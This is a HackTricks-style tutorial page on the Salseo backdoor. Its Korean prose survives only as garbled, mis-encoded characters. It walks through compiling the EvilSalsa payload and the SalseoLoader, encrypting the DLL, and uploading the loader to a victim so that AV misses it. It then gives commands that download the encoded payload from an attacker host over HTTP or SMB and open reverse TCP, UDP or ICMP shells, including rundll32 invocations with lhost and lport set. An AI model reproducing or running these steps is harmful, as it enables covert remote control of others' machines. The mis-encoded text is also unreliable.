# Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## ๋ฐ์ด๋๋ฆฌ ์ปดํ์ผ
github์์ ์์ค ์ฝ๋๋ฅผ ๋ค์ด๋ก๋ํ๊ณ **EvilSalsa**์ **SalseoLoader**๋ฅผ ์ปดํ์ผํฉ๋๋ค. ์ฝ๋๋ฅผ ์ปดํ์ผํ๋ ค๋ฉด **Visual Studio**๊ฐ ์ค์น๋์ด ์์ด์ผ ํฉ๋๋ค.
์ฌ์ฉํ ์๋์ฐ ๋ฐ์ค์ ์ํคํ
์ฒ์ ๋ง๊ฒ ํ๋ก์ ํธ๋ฅผ ์ปดํ์ผํฉ๋๋ค(์๋์ฐ๊ฐ x64๋ฅผ ์ง์ํ๋ฉด ํด๋น ์ํคํ
์ฒ๋ก ์ปดํ์ผํฉ๋๋ค).
**Visual Studio**์ **์ผ์ชฝ "Build" ํญ**์์ **"Platform Target"**์ ํตํด **์ํคํ
์ฒ๋ฅผ ์ ํ**ํ ์ ์์ต๋๋ค.
(\*\*์ด ์ต์
์ ์ฐพ์ ์ ์์ผ๋ฉด **"Project Tab"**์ ํด๋ฆญํ ๋ค์ **"\ Properties"**๋ฅผ ํด๋ฆญํ์ธ์)
![](<../.gitbook/assets/image (839).png>)
๊ทธ๋ฐ ๋ค์ ๋ ํ๋ก์ ํธ๋ฅผ ๋น๋ํฉ๋๋ค (Build -> Build Solution) (๋ก๊ทธ ์์ ์คํ ํ์ผ์ ๊ฒฝ๋ก๊ฐ ๋ํ๋ฉ๋๋ค):
![](<../.gitbook/assets/image (381).png>)
## ๋ฐฑ๋์ด ์ค๋น
์ฐ์ , **EvilSalsa.dll**์ ์ธ์ฝ๋ฉํด์ผ ํฉ๋๋ค. ์ด๋ฅผ ์ํด **encrypterassembly.py**๋ผ๋ ํ์ด์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ **EncrypterAssembly** ํ๋ก์ ํธ๋ฅผ ์ปดํ์ผํ ์ ์์ต๋๋ค.
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### ์๋์ฐ
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
์๊ฒ ์ต๋๋ค. ์ด์ ๋ชจ๋ Salseo ์์
์ ์คํํ๋ ๋ฐ ํ์ํ ๋ชจ๋ ๊ฒ์ด ์์ต๋๋ค: **์ธ์ฝ๋ฉ๋ EvilDalsa.dll**๊ณผ **SalseoLoader์ ๋ฐ์ด๋๋ฆฌ.**
**SalseoLoader.exe ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋จธ์ ์ ์
๋ก๋ํ์ธ์. ์ด๋ค AV์๋ ํ์ง๋์ง ์์์ผ ํฉ๋๋ค...**
## **๋ฐฑ๋์ด ์คํ**
### **TCP ๋ฆฌ๋ฒ์ค ์
ธ ์ป๊ธฐ (HTTP๋ฅผ ํตํด ์ธ์ฝ๋ฉ๋ dll ๋ค์ด๋ก๋)**
nc๋ฅผ ๋ฆฌ๋ฒ์ค ์
ธ ๋ฆฌ์ค๋๋ก ์์ํ๊ณ ์ธ์ฝ๋ฉ๋ evilsalsa๋ฅผ ์ ๊ณตํ HTTP ์๋ฒ๋ฅผ ์์ํ๋ ๊ฒ์ ์์ง ๋ง์ธ์.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
### **UDP ๋ฆฌ๋ฒ์ค ์
ธ ์ป๊ธฐ (SMB๋ฅผ ํตํ ์ธ์ฝ๋ฉ๋ dll ๋ค์ด๋ก๋)**
๋ฆฌ๋ฒ์ค ์
ธ ๋ฆฌ์ค๋๋ก nc๋ฅผ ์์ํ๊ณ , ์ธ์ฝ๋ฉ๋ evilsalsa๋ฅผ ์ ๊ณตํ๊ธฐ ์ํด SMB ์๋ฒ๋ฅผ ์์ํ๋ ๊ฒ์ ์์ง ๋ง์ธ์ (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
### **ICMP ๋ฆฌ๋ฒ์ค ์
ธ ์ป๊ธฐ (ํผํด์ ๋ด๋ถ์ ์ด๋ฏธ ์ธ์ฝ๋ฉ๋ dll)**
**์ด๋ฒ์๋ ๋ฆฌ๋ฒ์ค ์
ธ์ ์์ ํ๊ธฐ ์ํด ํด๋ผ์ด์ธํธ์ ํน๋ณํ ๋๊ตฌ๊ฐ ํ์ํฉ๋๋ค. ๋ค์ด๋ก๋:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP ์๋ต ๋นํ์ฑํ:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### ํด๋ผ์ด์ธํธ ์คํ:
```
python icmpsh_m.py "" ""
```
#### ํผํด์ ๋ด๋ถ์์, salseo ์์
์ ์คํํด ๋ณด๊ฒ ์ต๋๋ค:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
## SalseoLoader๋ฅผ DLL๋ก ์ปดํ์ผํ์ฌ ๋ฉ์ธ ํจ์ ๋ด๋ณด๋ด๊ธฐ
Visual Studio๋ฅผ ์ฌ์ฉํ์ฌ SalseoLoader ํ๋ก์ ํธ๋ฅผ ์ฝ๋๋ค.
### ๋ฉ์ธ ํจ์ ์์ ์ถ๊ฐ: \[DllExport]
![](<../.gitbook/assets/image (409).png>)
### ์ด ํ๋ก์ ํธ์ DllExport ์ค์น
#### **๋๊ตฌ** --> **NuGet ํจํค์ง ๊ด๋ฆฌ์** --> **์๋ฃจ์
์ฉ NuGet ํจํค์ง ๊ด๋ฆฌ...**
![](<../.gitbook/assets/image (881).png>)
#### **DllExport ํจํค์ง ๊ฒ์ (ํญ์์ ์ฐพ์๋ณด๊ธฐ ์ฌ์ฉ), ์ค์น๋ฅผ ๋๋ฅด๊ณ (ํ์
์ ์๋ฝ)**
![](<../.gitbook/assets/image (100).png>)
ํ๋ก์ ํธ ํด๋์ **DllExport.bat** ๋ฐ **DllExport\_Configure.bat** ํ์ผ์ด ๋ํ๋ฉ๋๋ค.
### **U**ninstall DllExport
**Uninstall**์ ๋๋ฆ
๋๋ค (์ด์ํ๊ฒ ๋ค๋ฆฌ์ง๋ง ๋ฏฟ์ด์ฃผ์ธ์, ํ์ํฉ๋๋ค)
![](<../.gitbook/assets/image (97).png>)
### **Visual Studio ์ข
๋ฃ ๋ฐ DllExport\_configure ์คํ**
๊ทธ๋ฅ **์ข
๋ฃ**ํฉ๋๋ค Visual Studio
๊ทธ๋ฐ ๋ค์, **SalseoLoader ํด๋**๋ก ๊ฐ์ **DllExport\_Configure.bat**๋ฅผ ์คํํฉ๋๋ค.
**x64**๋ฅผ ์ ํํฉ๋๋ค (x64 ๋ฐ์ค ๋ด์์ ์ฌ์ฉํ ๊ฒฝ์ฐ, ์ ๊ฒฝ์ฐ๊ฐ ๊ทธ๋ฌ์ต๋๋ค), **System.Runtime.InteropServices**๋ฅผ ์ ํํฉ๋๋ค ( **DllExport**์ **๋ค์์คํ์ด์ค** ๋ด์์) ๊ทธ๋ฆฌ๊ณ **์ ์ฉ**์ ๋๋ฆ
๋๋ค.
![](<../.gitbook/assets/image (882).png>)
### **Visual Studio๋ก ํ๋ก์ ํธ ๋ค์ ์ด๊ธฐ**
**\[DllExport]**๋ ๋ ์ด์ ์ค๋ฅ๋ก ํ์๋์ง ์์์ผ ํฉ๋๋ค.
![](<../.gitbook/assets/image (670).png>)
### ์๋ฃจ์
๋น๋
**์ถ๋ ฅ ์ ํ = ํด๋์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ**๋ฅผ ์ ํํฉ๋๋ค (ํ๋ก์ ํธ --> SalseoLoader ์์ฑ --> ์์ฉ ํ๋ก๊ทธ๋จ --> ์ถ๋ ฅ ์ ํ = ํด๋์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ)
![](<../.gitbook/assets/image (847).png>)
**x64** **ํ๋ซํผ**์ ์ ํํฉ๋๋ค (ํ๋ก์ ํธ --> SalseoLoader ์์ฑ --> ๋น๋ --> ํ๋ซํผ ๋์ = x64)
์๋ฃจ์
์ **๋น๋**ํ๋ ค๋ฉด: ๋น๋ --> ์๋ฃจ์
๋น๋ (์ถ๋ ฅ ์ฝ์ ๋ด์ ์ DLL์ ๊ฒฝ๋ก๊ฐ ๋ํ๋ฉ๋๋ค)
### ์์ฑ๋ Dll ํ
์คํธ
ํ
์คํธํ ์์น์ Dll์ ๋ณต์ฌํ๊ณ ๋ถ์ฌ๋ฃ์ต๋๋ค.
์คํ:
```
rundll32.exe SalseoLoader.dll,main
```
์ค๋ฅ๊ฐ ๋ํ๋์ง ์์ผ๋ฉด, ์๋ง๋ ๊ธฐ๋ฅํ๋ DLL์ด ์๋ ๊ฒ์
๋๋ค!!
## DLL์ ์ฌ์ฉํ์ฌ ์
ธ ์ป๊ธฐ
**HTTP** **์๋ฒ**๋ฅผ ์ฌ์ฉํ๊ณ **nc** **๋ฆฌ์ค๋**๋ฅผ ์ค์ ํ๋ ๊ฒ์ ์์ง ๋ง์ธ์.
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
{% endhint %}